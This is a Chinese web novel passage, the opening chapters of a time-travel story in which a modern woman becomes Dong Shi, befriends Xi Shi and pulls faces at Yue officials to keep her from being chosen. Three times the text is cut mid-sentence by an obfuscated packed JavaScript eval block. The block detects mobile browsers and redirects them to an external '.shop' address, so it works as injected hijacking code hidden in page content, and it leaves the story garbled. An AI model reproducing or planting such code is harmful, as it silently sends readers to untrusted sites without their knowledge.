《穿成东施，在春秋和西施当闺蜜》 1. 我成了东施？ 晨光熹微，透过简陋窗棂洒在脸上时，施晓青的第一个念头是—— 昨晚的空调是不是开太低了？ 硬邦邦的木板床硌得她背疼，盖在身上的薄麻布粗糙得刮皮肤。 她迷迷糊糊睁开眼，映入眼帘的不是熟悉的天花板，而是低矮的茅草屋顶，粗粝的原木房梁上挂着几束不知名的干草。 “这是……” 她猛地坐起身，一阵眩晕袭来。 不是梦。 眼前的一切真实得有些可怕。 狭小的土坯房间，泥土地面被踩得光滑，墙角摆放着几只陶罐，墙上挂着一件样式古怪的粗麻衣裙。 空气里有潮湿的泥土味、草叶味，还有一种她从未闻过的、属于另一个时代的质朴气息。 她低头看自己的手，细瘦，肤色偏黄，指腹有薄茧，手腕上系着一条褪色的麻绳。 这不是她的手。 更不是她的身体。 门外传来窸窸窣窣的声音，一个中年妇女的声音响起：“阿青，醒了就快些起身，今日该去溪边浣纱了。早饭给你留在灶上，记得吃。” 阿青？ 施晓青的大脑一片空白。 浣纱？这词儿怎么这么耳熟？ 她几乎是凭着本能爬下床，走到屋内唯一的一面粗糙的铜镜前—— 如果那模糊一片、只能勉强照出个人形的金属片也能叫镜子的话。 镜中是一张陌生的脸。 十四五岁的年纪，眉眼清秀，皮肤不算白但干净，嘴唇薄而颜色浅。 算不上美貌惊人，但也绝不丑陋。放在现代，也就是个普普通通、扔人堆里不太显眼的中学生模样。 可这张脸的主人，在这个时代，在接下来的某个时刻，会做出一个让她“名垂千古”的举动，并因此被嘲笑了两千多年。 东施。 施晓青扶着土墙，指节发白。 她想起来…… 昨晚临睡前，她还在刷小绿江，看一篇关于穿越成历史边缘人物的吐槽帖，随口跟室友开玩笑说：“要是我穿成东施，第一件事就是先去跟西施做闺蜜，绝对不让她皱眉，从源头上杜绝效颦的可能性。” 然后……她就真的穿了？ 还真的穿成了东施？ 不，不对，现在应该叫她施晓青，门外那位妇人喊的“阿青”应该是她。 东施只是一个代号，一个寓言里为了衬托西施而存在的影子。真实的她，应该有名字，有家人，有再平凡不过的日常生活。 “阿青！听见没有？”门外的声音带上了催促。 “来了，阿母。”施晓青下意识应声，声音有些干涩。 她迅速换上墙上的那套衣裙，深褐色的上衣，浅褐色的下裳，腰间用麻绳系紧。衣料粗糙，但还算干净。 穿戴整齐后，她推开吱呀作响的木门。 门外是个小小的院落，土墙围着，角落堆着柴火，一只母鸡带着几只小鸡在啄食。 一个穿着类似粗麻衣的妇人正在石磨前推着什么，见她出来，抬头看了一眼：“醒了就快吃饭，今日的纱要早些浣完，听说官家的人这几日可能会来村里。” 官家？施晓青心头一跳。 她不动声色地走到灶台边，那里放着一个小陶碗，里面是稀薄的粥，旁边还有一小块看不出来源的咸菜。 她端起碗，小口小口地喝着，同时飞快地梳理着脑海中的信息。 春秋末期，吴越争霸时期。 越国苎萝村，西施和东施的故乡。 她是施晓青，东施的原型，一个普通的浣纱女。 “东施效颦”尚未发生。 西施应该还在这里，还是她的邻居，或者……朋友？ “阿母，”她试探着开口，尽量让自己的语气听起来自然，“夷光她……今日也去浣纱吗？” 夷光，西施的本名。 妇人头也没抬：“自然要去的。她家比咱们家还多两匹纱要浣呢。怎么，你想等她一起？” “嗯。” 施晓青含糊应道，心跳却快了几分。 西施。 历史上那个传说中让鱼儿沉入水底的美人，吴越争霸中最著名的棋子，结局成谜的悲剧人物。现在，她还只是个需要每日浣纱的乡村少女。 而她，施晓青，一个意外闯入这个世界的穿越者，成了她故事里那个最著名的反面角色。 这……真是绝了。 快速吃完那碗没什么味道的粥，施晓青按照记忆，拿起角落里一个简陋的竹篮，里面放着几卷未处理的麻纱。 她跟着妇人，也就是她这具身体的母亲，走出了院门。 苎萝村的清晨比她想象中更宁静。 土路两旁是低矮的茅屋，偶尔能看到土坯房。 空气清新得不像话，带着溪水润泽的气息和草木的清香。远处是青翠的山峦，近处有炊烟袅袅升起。 几个村民扛着农具走过，穿着同样朴素的麻衣，看见她们，点头致意。 “施家娘子，阿青，去浣纱啊？” “是啊，李叔下田？” 很普通的寒暄，很普通的乡村清晨。 施晓青跟着母亲走到村边的一条溪流旁。 溪水清澈见底，潺潺流淌，两岸生长着茂密的芦苇和水草。 已经有几个女子蹲在溪边的石头上，身前放着木盆，手里揉搓着纱线。 母亲找了个位置坐下，开始干活。 施晓青学着她的样子，从篮子里拿出麻纱，浸入水中，然后在石头上轻轻揉搓。动作有些生疏，但这具身体的肌肉记忆很快接管了一切。 她的目光却不由自主地飘向溪流上游。 那里，一个穿着浅青色衣裙的少女，正独自蹲在一块大青石旁。 即使隔了一段距离，即使那少女低着头，侧影依然美得让人屏息。 乌黑的长发用一根简单的木簪绾起，露出修长白皙的脖颈。她的动作很轻，很慢，仿佛不是在劳作，而是在进行某种优雅的仪式。 阳光洒在她身上，像是给她整个人罩上了一层柔和的光晕。溪水在她手边流过，几条小鱼竟徘徊不去，久久不肯游走。 沉鱼之貌。 施晓青脑子里第一时间蹦出这个词。 她见过不少美人，现代社会的荧屏上、网络上、现实生活中，精致妆容、华服美饰、各种角度打光下的美丽数不胜数。 但眼前这个少女的美，是不一样的。 那是一种浑然天成、未经雕琢、与这山水草木融为一体的美。干净，澄澈，却又带着一种天然的、近乎脆弱的易碎感。 仿佛一阵稍大些的风，就能把她吹散。 那就是西施。 或者说，是还未成为“西施”的施夷光。 似乎是察觉到了她的视线，溪流上游的少女忽然抬起了头，朝她这边望了过来。 四目相对。 施晓青呼吸一滞。 那是一双怎样的眼睛？ 清澈如溪水，却又深得像古井，里面盛着这个年纪不该有的、淡淡的愁绪。 她似乎认出了施晓青，微微怔了一下，随即，唇角轻轻弯起一个极浅的弧度。 她在对她笑。 那笑容很淡，却像投入平静湖面的一颗石子，在施晓青心里漾开了一圈涟漪。 就在这时，施夷光忽然眉头一蹙，下意识地抬手，轻轻按住了自己的心口。她的脸色似乎苍白了一瞬，那个极浅的笑容也消失了，取而代之的是一丝隐忍的痛苦。 捧心蹙眉。 施晓青脑子里警铃大作。 就是这个！ 历史上“东施效颦”的原型事件！西施因为心疾发作，自然地流露出了痛苦蹙眉的神态，却被误读为一种独特的美态。而东施，看到了这个神态，盲目模仿，从而成了千古笑柄。 现在，这个关键场景，就在她眼前上演。 而她，施晓青，这个新鲜出炉的“东施”，正蹲在溪流下游，手里还拿着一团湿漉漉的麻纱。 历史的分岔路口，就在此刻。 拒绝模仿，做自己！ 施晓青深吸一口气，在周围几个浣纱女也注意到西施的异样、开始窃窃私语之前，她猛地站了起来。 水花溅湿了她的裙角，她也顾不上。 她拎起自己的竹篮，快步朝上游那块大青石走去。 脚步有些急，但在触及施夷光略带惊讶和疑惑的目光时，她又强迫自己放缓了速度，脸上努力挤出一个自认为最自然、最无害的笑容。 “夷光，”她走到近前，蹲下身，让自己的视线与对方齐平，声音放得很轻，“你是不是不舒服？脸色不太好。” 施夷光按着心口的手微微一顿。 她看着施晓青，眼中掠过一丝困惑。她们虽然是同村，年龄相仿，但平日交往并不多。施晓青因为容貌不如她，性格似乎也有些沉闷孤僻，很少主动与人搭话，尤其是与她搭话。 “我……没事。” 施夷光的声音也很好听，清凌凌的，像溪水敲击石头，“老毛病了，一会儿就好。” “老毛病更要注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486876|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。” 施晓青语气诚恳，一边说，一边极其自然地从自己随身携带的一个小布包里掏出两片叶子，“这个，你含在嘴里，可能会舒服些。清凉的。” 那是早上出门时她顺手从家里灶台边拿的，里面装着一点干净的布和晒干的薄荷叶。 她能认出薄荷叶纯属运气。 这是她在现代缓解轻微恶心的土办法，不知道对古代的心胃不适有没有用，但至少无害，且能表达关心。 施夷光看着递到面前的薄荷叶，又看了看施晓青写满关切的、无比真诚的脸，眼中的困惑慢慢化开，变成一种更复杂的情绪。她犹豫了一下，伸手接过，轻轻放进嘴里。 清凉微辛的气息在口腔中弥漫开来，胸口的憋闷感似乎真的缓解了一点点。 “谢谢。”她低声道，这次的笑容真切了些，虽然眉头仍因不适而微蹙着。 “不客气。” 施晓青也笑了，心里暗暗松了口气。 第一步，成功！ 没有模仿，没有出丑，只有正常的、邻里之间的关怀。 她顺势在施夷光旁边的石头上坐下，开始处理自己篮子里的麻纱，动作自然得仿佛她们经常这样并肩浣纱。 “今天的水真清。”她找了个安全的话题。 “嗯。”施夷光应了一声，也重新开始手里的活计，动作依然轻柔。 溪水潺潺，两个少女并肩而坐，各自忙碌。阳光透过树梢洒下斑驳的光影，落在她们身上、发间、指尖。 远处，施晓青的母亲和其他几个浣纱女远远看着这一幕，交换着诧异的目光。 阿青今天……怎么好像不太一样了？ 居然主动去跟夷光说话，还离那么近？她不是一向最怕跟夷光比较的吗？ 施晓青能感觉到那些目光，但她不在乎。她一边机械地揉搓着麻纱，一边用眼角余光悄悄观察着身边的少女。 近看，施夷光的美更具有冲击力。皮肤是细腻的瓷白，睫毛长而密，鼻梁挺秀，唇色是自然的嫣红。 但最美的还是那种气质，安静，柔婉，像一枝带着晨露的白荷。可她眉眼间那抹似有若无的轻愁，又像一层薄雾，笼罩着这绝世的美，让人心生怜惜。 施晓青想起历史上她的命运，被选中，被训练，被当作礼物献给敌国的君王，在深宫中周旋，最后在故国胜利时，生死不明。 一个工具。 一个美丽的、悲剧的工具。 而现在，这个“工具”就坐在她旁边，会因为心口不适而微微蹙眉，会因为她递上的两片薄荷叶而轻声道谢，会在阳光下微微眯起眼睛，侧脸美好得像一幅画。 “夷光，”施晓青忽然开口，声音很轻，被溪水声盖过一大半，只有她们两人能听见，“如果……我是说如果，以后有机会离开苎萝村，去很远的地方，过完全不一样的生活，你会害怕吗？” 施夷光揉搓纱线的动作停了下来。 她转过头，看着施晓青。溪水倒映在她清澈的瞳孔里，轻轻晃动。 良久，她低下头，继续浣纱，声音轻得像一声叹息： “怕。” 一个字，没有多余的解释。 但施晓青听懂了。 这个聪慧的少女，或许早已从村里近来隐隐的骚动、从大人们闪烁的言辞、从那些偶尔路过的陌生官差打扮的人眼中，窥见了一丝不祥的征兆。 属于她的、美丽的、也是残酷的命运阴影，已经悄然逼近。 而她，在害怕。 施晓青的心像是被什么攥了一下。 她看着少女低垂的、颤动的睫毛，看着水中她微微晃动的倒影，一个念头无比清晰地浮现出来—— 去他的“东施效颦”！ 去他的历史剧本！ 她现在不是寓言里的丑角东施，她是施晓青。 而身边这个美丽的、脆弱的、会害怕的少女，是施夷光，是活生生的人，是她的同乡，是刚刚接受了她一点点微不足道善意的人。 如果可以，她想试试看。 试试看，能不能在这沉重的历史车轮碾过之前，为这枝注定要被折下、插进华美却窒息花瓶里的白荷，找到另一条可能的生路。 哪怕只是一点点微光。 哪怕最终，什么也改变不了。 但她想试试。 溪水依旧潺潺流淌，带着未浣净的麻纱和少女们无声的心事，流向不可知的远方。 苎萝村的这个清晨，和以往无数个清晨似乎没什么不同。 但有些东西，已经不一样了。 2. 一缕月光 日子像溪水一般，不紧不慢地淌过。 施晓青渐渐适应了苎萝村的生活。 浣纱、采野菜、帮阿母料理简陋的家务，偶尔用她有限的知识辨认周遭植物，哪些能入口，哪些能入药。 薄荷叶成了她随身小布包里的常备品，不止给施夷光，也给其他偶尔头疼脑热的村人。 她与施夷光之间，建立起一种微妙的默契。 每日清晨，施晓青会在溪边固定的位置等待。 施夷光总会稍晚一些到，提着她的竹篮，步履轻盈得像林间小鹿。 两人不多话，只是并肩坐下，各自浣纱。阳光、溪水、麻纱摩擦的沙沙声，构成她们之间平静的日常。 施晓青时常能感觉到施夷光投来的目光，带着探究和一丝不易察觉的依赖。 这个寡言的少女似乎也在重新认识这个不一样的施晓青。 这日午后，纱浣得差不多了，其他村女陆续回家。溪边只剩下她们两人。 “阿青，”施夷光忽然开口，声音很轻，“你前几日给我的那种叶子……还有么？” 施晓青转头看她。施夷光的手又下意识地按在心口，眉头微蹙，但眼神里有种近乎执拗的坚持。 “有。” 施晓青从布包里拿出几片晒干的薄荷叶，又犹豫了一下，取出另一小包颜色更深些的干草叶，“这个是紫苏叶，我试着晒干的。若胸口闷得厉害，和薄荷一起用温水泡了喝，或许能顺气些。” 这是她根据浅薄的中药知识摸索的，剂量极轻，只求舒缓。 施夷光接过，指尖轻轻摩挲着干燥的叶片：“你懂这些？” “不算懂。” 施晓青实话实说，“以前……听一个路过的老人家提过几句，自己瞎琢磨的。” 在这个交通不便、信息闭塞的时代，游方之人往往带着神秘色彩，是个万能的借口。 施夷光没有追问，只是将叶片小心收进怀里，沉默了片刻。 “阿青，”她再次开口，这次声音更低，几乎被溪水声淹没，“你听说过……官家要在村里选人的事吗？” “听阿母提过一嘴，说官家的人这几日可能会来。”她尽量让语气显得平常，“选人做什么？服劳役？还是……” “不是劳役。” 施夷光打断她，抬起头，望向溪水对岸青翠的山峦。阳光在她脸上投下明暗交错的光影，那抹轻愁此刻浓得化不开。 “是选女子。要容貌好、身段佳、心思灵巧的……送去会稽城。” 会稽，越国都城。 施晓青攥紧了手里湿漉漉的麻纱。 她知道送去会稽城意味着什么——集中训练，然后作为政治礼物，送往吴国。历史上，西施和郑旦就是这样被选中的。 “你……” 施晓青的声音有些干涩，“听谁说的？” “我阿父前日去镇上换盐，听人议论的。”施夷光的睫毛垂下来，遮住了眼中的情绪，“说越王要为吴王遴选美人，以表忠心。各乡各里，都要荐上容貌最出色的女子。” 空气仿佛凝固了。 施晓青看着眼前这个即将被命运巨手攫取的少女，胸腔里涌起一股强烈的无力感。 她知道历史的大致走向，知道吴越争霸的结局，甚至知道西施在这盘棋局中扮演的关键角色。 可她不知道，在这段冰冷历史记载的背后，是一个活生生的少女在提前知晓命运时的恐惧与挣扎。 “夷光，”她深吸一口气，挪近了些，声音压得极低，“如果……如果被选中了，你会去吗？” 施夷光没有立刻回答。 她盯着溪水中自己微微晃动的倒影，良久，才极轻地吐出几个字：“由得我选么？” 轻飘飘的一句话，却像巨石砸在施晓青心上。 是啊，在这个时代，一个平民女子的命运，何时轮到她自己做主？ 国家的意志，王权的需要，如同一张无形的大网，笼罩在每个人的头顶。 美，对于施夷光而言，从来不是恩赐，而是原罪。 “也许……” 施晓青舔了舔有些干裂的嘴唇，脑子飞快转动，“也许我们可以想办法，让你……不那么显眼？” 施夷光终于转过头看她，眼神里有一闪而过的光亮，随即又黯淡下去：“如何做？自毁容貌么？” 她摇摇头，笑容苦涩，“且不说能否下得去手，即便毁了，官家的人难道查不出来？到时连累父母宗亲，罪过更大。” 她看得通透。逃不掉，也躲不开。 施晓青沉默了。 她知道自己刚才的想法多么幼稚。 在绝对的力量面前，小聪明往往不堪一击。但她又不甘心。 穿越一场，难道就是为了眼睁睁看着历史重演，看着这个刚刚对她展露一丝信任的少女走向既定的悲剧？ “夷光，”她忽然抓住施夷光微凉的手，目光坚定，“不管发生什么，你记住，在这苎萝村，至少有一个人，不觉得你只是该被送出去的美人。你是施夷光，是我的……朋友。” “朋友……” 施夷光喃喃重复着这个词，眼中水光氤氲。在这个阶层分明、女子大多依附父兄夫子的时代，“朋友”是个很奢侈的词，尤其是对她这样因容貌而格外孤立的人来说。 她反握住施晓青的手，力道很轻，却很紧。 “谢谢你，阿青。” 就在这时，一阵杂沓的脚步声和说话声从村口方向传来，打破了溪边的宁静。 两人同时抬头望去，只见几个穿着明显不同于村民、衣料稍显齐整的男子，在一个里正的陪同下，正朝溪边走来。 他们目光锐利，像挑选货物一般，扫视着沿途的房舍和零星的村民。 官家的人，来了。 施夷光的脸色瞬间变得苍白，手指无意识地收紧，指尖掐进施晓青的手背。 施晓青的心跳也漏了一拍。这么快？ 她迅速环顾四周。溪边空旷，无处可藏。她们俩坐的位置虽然靠上游，不算最显眼，但也绝对能被一眼看到。 怎么办？ 硬躲是不行了。 那几个官差模样的人已经注意到了溪边有人，目光正朝这边投来。为首的里正似乎低声对旁边的人说了句什么，手指了指她们的方向。 电光石火间，施晓青瞥见施夷光因紧张和不适而微微蹙起的眉头，苍白的脸色，按在心口的手……以及她自己手里，那团刚刚浣了一半、湿淋淋、皱巴巴的麻纱。 一个近乎荒谬、却又带着一线生机的念头，猛地蹿入她的脑海。 效颦。 如果“东施效颦”注定要发生，那么，就让它以另一种方式，在另一个时间点，为另一个目的而发生。 “夷光，”她急促地低声道，手上用力，将施夷光往旁边青石后的阴影里轻轻推了推，“躲进去一点，低头，别让他们看清你的脸。” 施夷光不明所以，但出于信任，还是顺从地往青石后挪了挪，垂下头，用侧影对着来人的方向。 施晓青则深吸一口气，在那些人走近到足以看清她表情的瞬间—— 她猛地抬起手，将那团湿麻纱用力按在了自己脸上，冰冷粗糙的触感让她打了个激灵。 同时，她学着记忆中戏曲里夸张的、矫揉造作的样子，极力瞪大眼睛，嘴角向两边咧开一个极其不自然的笑容，眉头却紧紧皱起，整个面部肌肉扭曲成一个古怪的、近乎滑稽的表情。 然后，她转过身，正对着走来的官差和里正，用自己所能发出的最尖细、最造作的声音，模仿着施夷光平日轻柔的语调喊道： “哎呀！这水好凉！夷光，你看我的纱，是不是洗得特别白呀？” 一边说，她一边用力揉搓着脸上的麻纱，水珠顺着她故意做作的笑脸往下淌，糊了一脸，配上那扭曲的表情，效果堪称惊悚。 走过来的几个人全都愣住了。 里正瞠目结舌。 几个官差打扮的男人脚步顿住，为首那个面相严肃的中年男子，眉头紧紧皱起，看向施晓青的眼神里充满了惊愕、嫌恶，以及一丝困惑。 他们显然没料到会看到这样一幕。一个村女，毫无美感地做着鬼脸，还用那种令人牙酸的声音说话。 施晓青心脏狂跳，但戏必须做足。 她维持着那个扭曲的表情，又转向青石后的施夷光，继续用夸张的语调说：“夷光，你怎么不说话？是不是也觉得我学你学得特别像？你昨日心口疼，皱眉的样子，就是这样，对不对？” 几个官差的目光，下意识地随着她的话语，瞟了一眼青石后那个低垂着头、看不清面容的少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486877|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女背影。又迅速转回到施晓青这张“惨不忍睹”的脸上。 对比，在这一刻鲜明到残忍。 一个是不忍卒睹的、笨拙可笑的模仿者。 一个是连侧影都透着清雅、却连面容都不愿示人的被模仿者。 那为首的中年官差，脸色沉了下来。 他此次奉命遴选美人，是要送往都城，经过严格训练后用以实施重大国策的。 所需女子，不仅要容貌出众，更需仪态端方，心思灵巧，能担大任。 眼前这个做鬼脸的村女，显然是个脑子不太灵光、举止粗鄙不堪的。 而她口中模仿的那个“夷光”……连面都不敢露，要么是羞怯过度上不得台面，要么就是容貌其实平平，被这蠢女一衬托才显得神秘。 “胡闹！”里正最先反应过来，脸上挂不住，呵斥道，“施家阿青！你在这里发什么疯？还不快见过诸位大人！” 施晓青仿佛这才“惊觉”有外人，猛地放下脸上的麻纱，露出湿漉漉、红通通的脸，做出惊慌失措的样子，笨拙地行礼：“大、大人……民女不知大人们到来，失、失礼了……” 表情怯懦，眼神躲闪，活脱脱一个没见识的愚笨村姑。 那中年官差嫌恶地挥了挥手，目光甚至不愿在施晓青身上多停留一秒。 他又瞥了一眼青石后始终未曾抬头的施夷光，最终，什么也没问，只对里正冷淡道：“苎萝村的女子，就是这般形貌品性？” 里正汗都下来了：“不不不，大人明鉴！这施晓青平日就有些……有些痴傻，不懂事！村里其他女子都是好的！尤其是那施……” “罢了。” 中年官差打断他，似乎已经对苎萝村失去了大部分兴趣，“看来此地水土，也养不出什么真正堪用的美人。再去下一处看看吧。” 说完，竟不再多言，带着随从转身便走，似乎多看这里一眼都嫌晦气。 里正急忙跟上，临走前狠狠瞪了施晓青一眼，眼神里满是恼怒和不解。 直到那群人的脚步声彻底远去，消失在村口，溪边重新恢复宁静，施晓青才猛地松懈下来，双腿一软，差点瘫坐在石头上。 后背已被冷汗浸湿，冰凉一片。 她成功了。 “阿青……” 细微的、带着颤抖的声音从青石后传来。 施夷光慢慢走出来，脸色依旧苍白，但眼中已蓄满了泪水。 她看着施晓青湿漉漉、狼狈不堪的脸，看着她因为紧张和用力表演而微微发抖的手。 “你……你何必……” 她哽咽着，说不下去。 施晓青扯出一个疲惫但真实的笑容，抬手抹了把脸上的水渍，混着可能存在的冷汗和一点点后怕的泪意。 “没事。”她哑着嗓子说，“你看，他们走了。至少今天，没事了。” 她不知道这临时起意的、粗糙的“表演”能争取到多少时间。 官家的人可能还会再来，可能从其他渠道听说西施的美名。历史的惯性巨大无比。 但至少在这一刻，在这个溪边的午后，她用一个“东施效颦”，为身边这个美丽的少女，挡下了一波直面的审视。 施夷光走上前，掏出一块干净的粗布帕子，轻轻擦拭施晓青脸上残留的水痕。 她的动作很轻，很温柔，眼泪却止不住地往下掉，滴在施晓青的手背上，滚烫。 “傻子……” 她低声骂道，声音里却是全然的震动与心疼。 施晓青握住她冰凉颤抖的手，看着远处官差消失的方向，眼神渐渐变得沉静而坚定。 第一次交锋，算是险险过关。 但风暴只是暂时绕开，并未远离。 但仅仅靠一时的小聪明和自污，是护不住想护的人的。 路还很长。 “夷光，”她轻声说，目光落在溪边丛生的野薄荷和紫苏上，“我们把这些能用的药草，多采一些回去吧。不只是为了你的心口疼……或许，还能帮到别的人。” 施夷光看着她，从她眼中看到了一种不同于以往的、沉稳的光芒。她用力点了点头。 “好。” 两个少女蹲下身，开始在溪边仔细寻觅、采摘。 阳光依旧温暖，溪水依旧潺潺，仿佛刚才那场惊心动魄的插曲从未发生。 3. 沉香 自那日官差离去后，苎萝村似乎又回到了往日的轨道。 日头升起落下，溪水潺潺东流，村妇们依旧在晨光里浣纱，谈论着家长里短。 只是，有些东西还是不一样了。 里正再路过施家那低矮的土墙时，脚步总是快了几分，眉头皱着，仿佛多看一眼都嫌晦气。村头榕树下闲话的风向，也不知何时转了。 “听说了吗？施家那个阿青，那天在官差大人面前，可是出了好大的丑！” “可不是！学人家夷光皱眉，学得怪模怪样，把大人们都给气走了。” “唉，本来咱们村说不定还能出个光耀门楣的，这下……” 风言风语像溪边的湿气，无孔不入，粘在人背上。 这日傍晚，施晓青刚把晒了一天的草药收进屋里，母亲便撩开草帘走了进来，手里端着稀薄的粥碗，脸上罩着一层愁云。 “阿青，”母亲把碗放在粗糙的木桌上，声音压得低低的，带着疲惫，“这两天，在外头……少说些话，多做事。” 施晓青接过粥碗，指尖触到母亲粗糙龟裂的手背：“阿母，我知道了。” 母亲看着她平静的脸，那双眼睛里没有了往日的闪躲和怯弱，却多了些她看不懂的、沉静的东西。 责备的话在嘴边转了几转，最终化成一声长长的叹息：“你呀……那天也太莽撞了。官差老爷是能得罪的么？里正如今见了咱家都没个好脸色。这往后……” “往后日子还长，阿母。” 施晓青抬起眼，声音不高，却有种让人安心的力量，“咱们凭双手吃饭，不偷不抢，不怕人说。” 母亲张了张嘴，终究没再说什么，只是又叹了口气，转身去忙活了。 施晓青小口喝着粥，心里却像明镜一样。 流言伤不了筋骨，但时间却一分一秒都耽误不起。 那日官差虽然走了，可谁也不知道他们会不会再来，或者，会不会有别的已经盯上了苎萝村，盯上了夷光。 她必须做点什么。 第二天清晨，浣纱归来后，她没有像往常一样直接回家，而是挎着篮子，绕到了村西头一处更僻静的溪湾。 这里水边生长着更茂盛的薄荷和紫苏，还有一些她近日根据模糊记忆辨认出的、可能有用处的植物。 她蹲下身，小心地用石片挖起一丛叶子呈齿状、带着特殊气味的嫩苗，连根带土，用大片的芋叶包好。 “这是……艾草？” 轻柔的声音从身后传来。 施晓青回头，见施夷光不知何时也来了，手里提着个小竹篮，里面装着几缕彩色的丝线和一个未完工的香囊。 “嗯，看样子是。”施晓青点点头，将艾草苗放进篮子里，“晒干了，夏天可以驱蚊，捣烂了或许也能止血。” 施夷光在她身边蹲下，看着篮子里分门别类用不同草叶捆好的植物：“你懂的真多。都是那位路过的老人家教的？” “有些是，有些是自己瞎琢磨，试试看。”施晓青含糊道，目光落在夷光略显苍白的脸上，“你今日感觉怎样？心口还闷吗？” “好些了。”夷光微微笑了笑，从怀里掏出一个小布包，打开，里面是两块掺了少许豆面的糙米饼，烙得金黄，散发着朴素的粮食香气，“给，我阿母新烙的，趁热吃。” 施晓青没客气，接过一块，触手还是温热的。 她也从自己篮子里拿出一个更小的干净布包，递过去：“喏，晒得最好的薄荷和紫苏，我特意挑出来的，味道冲些，但效果应该更好。还有这个——” 她又摸出两枚用叶子包好的、煮熟了的野鸟蛋，“早上在林子边捡的，煮熟了，你偷偷吃，补补气力。” 夷光看着手里的东西，特别是那两枚难得一见的鸟蛋，眼眶微微发热。 在这个食物匮乏的时代，这是极其珍贵的心意。她没说什么推辞的话，只是轻轻“嗯”了一声，将东西仔细收好。 两人沉默了一会儿，只有溪水流淌的声音。阳光穿过稀疏的树荫，在她们身上洒下晃动的光斑。 “阿青，”夷光忽然开口，手指无意识地摩挲着香囊上粗糙的绣纹，“那天……谢谢你。” 她的声音很轻，却带着沉重的分量。 “说这个干嘛。” 施晓青咬了一口糙米饼，咀嚼着粗糙但踏实的口感，“咱们是朋友。” 朋友。夷光在心里又默默念了一遍这个词，暖意混着酸楚，慢慢漾开。 “我阿父前日从镇上回来，说……” 夷光的声音更低了，几乎像耳语，“遴选的事，并没完。听说上头不太满意这次下面报上去的人，可能……还会来第二批人，查得更细。” 施晓青咀嚼的动作顿住了。果然，历史的车轮没那么容易转向。 “什么时候？”她问。 “不清楚，也许十天半个月，也许……更快。”夷光低下头，长长的睫毛在眼睑下投出一小片阴影，“里正这几日，往我家跑得勤了些，总是旁敲侧击地问我的生辰八字，平日喜好……我阿母愁得夜里都睡不好。” 空气仿佛凝滞了，连溪水声都显得格外清晰刺耳。 施晓青慢慢咽下嘴里的食物，将剩下的饼仔细包好放回篮子。 她看着溪水中两人微微晃动的倒影，一个念头愈发清晰—— “夷光，”她抬起头，眼神清亮，“从明天起，你若有空，悄悄来我家后头那小片荒地找我。我教你认这些草药，怎么处理，怎么用最简单的法子保存。” 夷光惊讶地抬起眼：“我？学这个？” “嗯。”施晓青点头，“不止是为你自己。多学一点东西，总没坏处。万一……我是说万一，将来用得上呢？哪怕只是帮隔壁头疼脑热的阿婆缓解一下，也是好的。” 她没说得太明白，但夷光听懂了。 这不仅仅是学一门技艺，更是在不确定的未来里，为自己多准备一种可能，哪怕这可能在庞大的命运面前显得如此微不足道。 同时，帮助他人，积累善缘，或许在某个意想不到的时刻，就能成为一点微弱的光亮。 “好。” 夷光几乎没有犹豫，立刻应了下来。那双总是盛着轻愁的美目里，第一次燃起了一点主动的、求知的火苗。 “还有，”施晓青继续道，声音压得更低，“村里谁家有病人，老人，或者日子特别难的，你留心些，悄悄告诉我。咱们力量小，帮不了大忙，但送一把晒干的薄荷，帮行动不便的阿婆提一桶水，陪孤寡的老人说说话……总是能的。” 夷光深深地看着她，仿佛第一次真正认识这个从小一起长大、却突然变得不一样的同伴。 她忽然觉得，阿青身上有一种奇特的力量，不是蛮力，不是美貌，而是一种沉静的、向下扎根、又向着四周蔓延生长的韧性。 “我明白了。”她郑重地点头。 接下来的日子，苎萝村的表面依旧平静，但在某些不为人知的角落，细微的变化正在发生。 施晓青家后院那方小小的药圃里，多了两个时常蹲在一起低声讨论的身影。 “这根要留长些，带点土，容易活。” “这片叶子背面有毛，搓碎了味道更冲，是不是效果更好？” “晾晒的时候，底下要垫芦苇，透气，不容易霉。” 偶尔，她们会挎着篮子，装着晒好的草药包或一点省下来的食物，出现在村中某户低矮的茅屋前。 村东头的孤寡陈阿婆，牙疼起来要命。施晓青送上捣碎的新鲜薄荷叶让她含着，夷光则手脚麻利地帮她将水缸挑满。 “哎哟，两个好闺女…这怎么使得……” 阿婆瘪着嘴，含糊不清地道谢，昏花的老眼里满是感激，硬要塞给她们一把自己晒的菜干。 村南的樵夫施大，前几日砍柴摔了腿，家里断了生计，媳妇整日抹泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486878|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 施晓青和夷光送去了晒干的艾草和鱼腥草，还有一小包掺了豆面的饼子。 “这……这……”憨厚的汉子涨红了脸，不知说什么好。他媳妇擦着眼泪，不住地说：“谢谢，谢谢两位妹妹……” 